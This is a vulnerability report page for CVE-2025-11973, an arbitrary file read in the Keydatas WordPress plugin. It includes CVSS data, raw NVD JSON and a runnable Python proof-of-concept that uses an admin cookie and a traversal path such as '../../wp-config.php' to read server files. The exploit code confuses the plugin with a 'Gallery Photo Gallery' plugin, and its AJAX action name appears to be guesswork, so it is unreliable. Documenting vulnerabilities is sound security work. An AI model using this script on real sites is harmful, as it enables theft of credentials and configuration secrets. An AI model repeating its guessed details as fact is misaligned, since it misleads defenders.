Security Vulnerability Report
中文
CVE-2025-11973 CVSS 4.9 MEDIUM

CVE-2025-11973

Published: 2025-11-21 09:15:46
Last Modified: 2026-04-15 00:35:42

Description

The 简数采集器 plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 2.6.3 via the __kds_flag functionality that imports featured images. This makes it possible for authenticated attackers, with Adminstrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

简数采集器插件(Keydatas) <= 2.6.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import urlencode # CVE-2025-11973 PoC - WordPress Keydatas Plugin Arbitrary File Read # Target: WordPress site with Keydatas/Gallery Photo Gallery plugin <= 2.6.3 # Requirement: Administrator-level access def exploit_file_read(target_url, cookie, file_path): """ Exploit arbitrary file read vulnerability via __kds_flag parameter Args: target_url: Base URL of the WordPress site cookie: Admin session cookie (wordpress_[hash]) file_path: Path of file to read (e.g., ../../wp-config.php) Returns: File contents if successful, None otherwise """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': cookie, 'Content-Type': 'application/x-www-form-urlencoded' } # Construct payload for __kds_flag functionality data = { 'action': 'kds_flag_import', # Plugin AJAX action '__kds_flag': file_path, 'mode': 'import_featured' } try: response = requests.post(endpoint, headers=headers, data=data, timeout=30) if response.status_code == 200: return response.text else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None def main(): if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <admin_cookie> <file_path>") print(f"Example: python {sys.argv[0]} http://example.com 'wordpress_logged_in_xxx' '../../wp-config.php'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] file_path = sys.argv[3] print(f"[*] Target: {target}") print(f"[*] Reading file: {file_path}") result = exploit_file_read(target, cookie, file_path) if result: print("\n[+] File contents:\n") print(result) else: print("[-] Failed to read file") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11973", "sourceIdentifier": "[email protected]", "published": "2025-11-21T09:15:46.193", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The 简数采集器 plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 2.6.3 via the __kds_flag functionality that imports featured images. This makes it possible for authenticated attackers, with Adminstrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gallery-photo-gallery/trunk/includes/lists/class-gallery-photo-gallery-list-table.php#L1060", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/keydatas/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/66dc2ca2-c61c-4c73-aa2a-0017299cbca5?source=cve", "source": "[email protected]"}]}}